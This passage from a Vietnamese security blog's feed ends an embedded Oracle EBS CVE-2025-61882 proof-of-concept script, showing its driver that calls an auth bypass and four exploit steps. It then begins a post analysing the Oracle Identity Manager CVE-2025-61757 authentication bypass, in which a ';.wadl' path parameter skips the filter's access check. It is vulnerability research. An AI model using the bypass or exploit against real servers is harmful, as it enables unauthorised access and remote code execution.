          <td id="file-ebs_cve-2025-61882_poc-py-LC375" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">username</span> <span class="pl-c1">=</span> <span class="pl-en">input</span>(<span class="pl-s">"Enter username to authenticate as (ex: sysadmin): "</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L376" class="blob-num js-line-number js-blob-rnum" data-line-number="376"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC376" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">sid</span> <span class="pl-c1">=</span> <span class="pl-en">auth_bypass</span>(<span class="pl-s1">url</span>, <span class="pl-s1">username</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L377" class="blob-num js-line-number js-blob-rnum" data-line-number="377"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC377" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">sid</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L378" class="blob-num js-line-number js-blob-rnum" data-line-number="378"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC378" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">cookies</span> <span class="pl-c1">=</span> <span class="pl-en">get_cookies</span>(<span class="pl-s1">url</span>, <span class="pl-s1">sid</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L379" class="blob-num js-line-number js-blob-rnum" data-line-number="379"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC379" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">if</span> <span class="pl-s1">cookies</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L380" class="blob-num js-line-number js-blob-rnum" data-line-number="380"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC380" class="blob-code blob-code-inner js-file-line">                <span class="pl-c1">COOKIES</span>.<span class="pl-c1">update</span>(<span class="pl-s1">cookies</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L381" class="blob-num js-line-number js-blob-rnum" data-line-number="381"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC381" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">html1</span> <span class="pl-c1">=</span> <span class="pl-en">step_1</span>(<span class="pl-s1">url</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L382" class="blob-num js-line-number js-blob-rnum" data-line-number="382"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC382" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">if</span> <span class="pl-s1">html1</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L383" class="blob-num js-line-number js-blob-rnum" data-line-number="383"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC383" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">html2</span> <span class="pl-c1">=</span> <span class="pl-en">step_2</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html1</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L384" class="blob-num js-line-number js-blob-rnum" data-line-number="384"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC384" class="blob-code blob-code-inner js-file-line">                    <span class="pl-k">if</span> <span class="pl-s1">html2</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L385" class="blob-num js-line-number js-blob-rnum" data-line-number="385"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC385" class="blob-code blob-code-inner js-file-line">                        <span class="pl-s1">html3</span> <span class="pl-c1">=</span> <span class="pl-en">step_3</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html2</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L386" class="blob-num js-line-number js-blob-rnum" data-line-number="386"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC386" class="blob-code blob-code-inner js-file-line">                        <span class="pl-k">if</span> <span class="pl-s1">html3</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L387" class="blob-num js-line-number js-blob-rnum" data-line-number="387"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC387" class="blob-code blob-code-inner js-file-line">                            <span class="pl-en">step_4</span>(<span class="pl-s1">url</span>,<span class="pl-s1">html3</span>)    </td>
        </tr>
  </tbody></table>
</div>


    </div>

  </div>
</div>

      </div>
      <div class="gist-meta">
        <a href="https://gist.github.com/testanull/a897473577b8650932221172e50304ce/raw/4fc306d2f6ae6a88664f43faf57e5bf2779ade9b/EBS_CVE-2025-61882_poc.py" style="float:right" class="Link--inTextBlock">view raw</a>
        <a href="https://gist.github.com/testanull/a897473577b8650932221172e50304ce#file-ebs_cve-2025-61882_poc-py" class="Link--inTextBlock">
          EBS_CVE-2025-61882_poc.py
        </a>
        hosted with &#10084; by <a class="Link--inTextBlock" href="https://github.com">GitHub</a>
      </div>
    </div>
</div>
</div><p>Thanks for reading!</p><p></p>]]></content:encoded></item><item><title><![CDATA[Preauth RCE in Oracle Identity Manager (CVE-2025-61757)]]></title><description><![CDATA[Intro Tu&#7847;n tr&#432;&#7899;c Searchlight Cyber c&#243; l&#234;n b&#224;i ph&#226;n t&#237;ch (here) v&#7873; m&#7897;t l&#7895; h&#7893;ng preauth RCE m&#7899;i c&#7911;a Oracle Identity Manager - CVE-2025-61757.]]></description><link>https://vred.mbbank.com.vn/p/preauth-rce-in-oracle-identity-manager</link><guid isPermaLink="false">https://vred.mbbank.com.vn/p/preauth-rce-in-oracle-identity-manager</guid><dc:creator><![CDATA[mugmug]]></dc:creator><pubDate>Mon, 01 Dec 2025 14:54:15 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Paho!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Intro</strong></h2><p>Tu&#7847;n tr&#432;&#7899;c Searchlight Cyber c&#243; l&#234;n b&#224;i ph&#226;n t&#237;ch (<a href="https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/">here</a>) v&#7873; m&#7897;t l&#7895; h&#7893;ng preauth RCE m&#7899;i c&#7911;a Oracle Identity Manager - CVE-2025-61757. &#272;&#226;y l&#224; m&#7897;t chain g&#7891;m hai bug l&#224; authentication bypass v&#224; groovy injection. Tuy r&#7857;ng t&#225;c gi&#7843; c&#361;ng &#273;&#227; gi&#7843;i th&#237;ch kh&#225; chi ti&#7871;t nh&#432;ng m&#236;nh th&#7845;y c&#243; m&#7897;t v&#224;i th&#7913; kh&#225; l&#224; m&#7899;i n&#234;n m&#236;nh c&#243; t&#236;m hi&#7875;u v&#224; vi&#7871;t l&#7841;i m&#7897;t s&#7889; th&#7913; &#273;&#7875; ti&#7879;n note l&#7841;i cho sau n&#224;y.</p><h2><strong>Authentication bypass</strong></h2><p>Theo nh&#432; blog c&#7911;a searchlight &#273;&#7873; c&#7853;p, bug authen bypass n&#7857;m &#7903; class <strong>oracle.wsm.agent.handler.servlet.SecurityFilter</strong> - &#273;&#226;y c&#361;ng l&#224; class th&#7921;c hi&#7879;n vi&#7879;c check authen cho c&#225;c endpoint c&#7911;a app <strong>applicationmanagement</strong>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://vred.mbbank.com.vn/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading MB VRED's Substack! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><pre><code><code>public final class SecurityFilter extends AbstractRESTFilter implements Filter {
    static {
        LOGGER = Logger.getLogger(CLASSNAME);
        WADL_PATTERN = Pattern.compile(&#8221;\\.[wW][aA][dD][lL](.)*\\z&#8221;); // [1]
    } 
    public void doFilter(ServletRequest request, ServletResponse response, final FilterChain chain) throws IOException, ServletException {
        LOGGER.entering(CLASSNAME, &#8220;doFilter&#8221;, new Object[]{request, response, chain});
        final HttpServletRequest httpRequest = (HttpServletRequest)request;
        HttpServletResponse httpResponse = (HttpServletResponse)response;
        final HttpServletResponse httpResponseWrapped = new WsmHttpResponseWrapper((HttpServletResponse)response);
        httpRequest.setAttribute(&#8221;request.processed.by.wsm.security.filter&#8221;, Boolean.valueOf(&#8221;true&#8221;));
        if (this.isCORSPreflightRequest(httpRequest)) { 
            chain.doFilter(httpRequest, httpResponse);
        } else {
            if (WADL_PATTERN.matcher(httpRequest.getRequestURI().trim()).find()) { // [2]
                chain.doFilter(httpRequest, httpResponse);
            } else {
                // auth check
            }
        }
    }
</code></code></pre><p>T&#7841;i [1] c&#243; th&#7875; th&#7845;y r&#245; &#253; &#273;&#7891; c&#7911;a dev khi mu&#7889;n whitelist c&#225;c request WADL b&#7857;ng c&#225;ch s&#7917; d&#7909;ng pattern t&#236;m ki&#7871;m c&#225;c string c&#243; d&#7841;ng <code>.wadl</code>, sau &#273;&#243; t&#7841;i [2] cho ph&#233;p ch&#250;ng &#273;&#432;&#7907;c x&#7917; l&#253; m&#224; kh&#244;ng c&#7847;n ki&#7875;m tra quy&#7873;n truy c&#7853;p b&#7857;ng c&#225;ch ki&#7875;m tra uri c&#7911;a request c&#243; ch&#7913;a string <code>.wadl</code> kh&#244;ng n&#7871;u c&#243; s&#7869; cho ph&#233;p request &#273;&#432;&#7907;c th&#244;ng qua. &#8594; Classic auth bypass:v</p><p>B&#224;i to&#225;n m&#7899;i l&#224; l&#224;m sao &#273;&#7875; access &#273;&#432;&#7907;c api khi mu&#7889;n ch&#232;n string <code>.wadl</code>. Method <code>getRequestURI()</code> s&#7869; kh&#244;ng l&#7845;y query string c&#7911;a url cho n&#234;n ta c&#361;ng kh&#244;ng th&#7875; add th&#234;m GET param nh&#432; <code>?a=.wadl</code> &#273;&#432;&#7907;c.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Paho!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Paho!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 424w, https://substackcdn.com/image/fetch/$s_!Paho!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 848w, https://substackcdn.com/image/fetch/$s_!Paho!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 1272w, https://substackcdn.com/image/fetch/$s_!Paho!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Paho!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png" width="1097" height="473" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:473,&quot;width&quot;:1097,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Paho!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 424w, https://substackcdn.com/image/fetch/$s_!Paho!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 848w, https://substackcdn.com/image/fetch/$s_!Paho!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 1272w, https://substackcdn.com/image/fetch/$s_!Paho!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f83c7a8-a209-4c98-b3f4-2844dd8be73c_1097x473.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#7902; b&#224;i c&#7911;a Searchlight h&#7885; c&#243; &#273;&#7875; c&#7853;p t&#7899;i vi&#7879;c inject path parameter <code>;.wadl</code> &#273;&#7875; exploit bug n&#224;y. Khi &#273;&#7885;c xong th&#236; m&#236;nh c&#243; th&#7855;c m&#7855;c l&#224; t&#7841;i sao l&#7841;i c&#243; th&#7875; d&#249;ng &#273;&#432;&#7907;c nh&#432; v&#7853;y:v. T&#7841;i sao <code>/path;.wadl</code> l&#7841;i &#259;n, m&#224; ko ph&#7843;i l&#224; <code>/path.wadl</code>?</p><h3><strong>Why ;.wadl?</strong></h3><p>Trong khi &#273;i t&#236;m hi&#7875;u v&#7873; c&#225;ch <code>getRequestURI()</code> return th&#236; m&#236;nh t&#236;m &#273;&#432;&#7907;c c&#226;u tr&#7843; l&#7901;i &#7903; &#273;&#226;y <a href="https://stackoverflow.com/questions/4931323/whats-the-difference-between-getrequesturi-and-getpathinfo-methods-in-httpservl">stackoverflow</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!axJj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!axJj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 424w, https://substackcdn.com/image/fetch/$s_!axJj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 848w, https://substackcdn.com/image/fetch/$s_!axJj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 1272w, https://substackcdn.com/image/fetch/$s_!axJj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!axJj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png" width="751" height="452" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:452,&quot;width&quot;:751,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!axJj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 424w, https://substackcdn.com/image/fetch/$s_!axJj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 848w, https://substackcdn.com/image/fetch/$s_!axJj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 1272w, https://substackcdn.com/image/fetch/$s_!axJj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a13050a-1aaf-4ed1-9ab5-8ef0374b2e41_751x452.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><code>getRequestURI()</code> c&#243; nh&#7853;n c&#7843; ph&#7847;n path parameter (ph&#7847;n <strong>;jessionid=S+ID</strong>). Sau khi debug th&#236; m&#236;nh c&#361;ng ph&#225;t hi&#7879;n r&#7857;ng JAX-RS khi routing l&#7841;i ignore ph&#7847;n path parameter.</p><p>C&#7909; th&#7875; method <code>RoutingStage._apply()</code> s&#7869; l&#224; n&#417;i th&#7921;c hi&#7879;n nhi&#7879;m v&#7909; routing:</p><pre><code><code>private RoutingResult _apply(RequestProcessingContext request, Router router) {
        Router.Continuation continuation = router.apply(request);
        Iterator var4 = continuation.next().iterator();

        RoutingResult result;
        do {
            if (!var4.hasNext()) {
                Endpoint endpoint = Routers.extractEndpoint(router);
                if (endpoint != null) {
                    return RoutingStage.RoutingResult.from(continuation.requestContext(), endpoint);
                }

                return RoutingStage.RoutingResult.from(continuation.requestContext());
            }

            Router child = (Router)var4.next();
            result = this._apply(continuation.requestContext(), child);// [3]
        } while(result.endpoint == null);

        return result;
    }
</code></code></pre><p>t&#7841;i &#273;&#226;y <code>_apply()</code> s&#7917; d&#7909;ng thu&#7853;t to&#225;n DFS duy&#7879;t t&#7915;ng router &#273;&#7875; t&#236;m ki&#7871;m endpoint ph&#249; h&#7907;p</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!o1-0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!o1-0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 424w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 848w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 1272w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!o1-0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png" width="608" height="399" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a6abf299-f355-4ef5-93f1-facdbc124401_608x399.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:399,&quot;width&quot;:608,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!o1-0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 424w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 848w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 1272w, https://substackcdn.com/image/fetch/$s_!o1-0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa6abf299-f355-4ef5-93f1-facdbc124401_608x399.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>[3] s&#7869; g&#7885;i &#273;&#7879; quy <code>_apply()</code> l&#234;n t&#7915;ng child router, n&#7871;u kh&#244;ng child n&#224;o match th&#236; return null</p><p>t&#7841;i router <code>MatchResultInitializerRouter</code> s&#7869; th&#7921;c hi&#7879;n kh&#7903;i t&#7841;o MatchResult &#273;&#7875; so s&#225;nh v&#7899;i c&#225;c path pattern l&#250;c sau:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4u16!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4u16!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 424w, https://substackcdn.com/image/fetch/$s_!4u16!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 848w, https://substackcdn.com/image/fetch/$s_!4u16!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2de859ce-09bc-4a2e-bea2-c68973246ad7_1075x383.png 1272w, 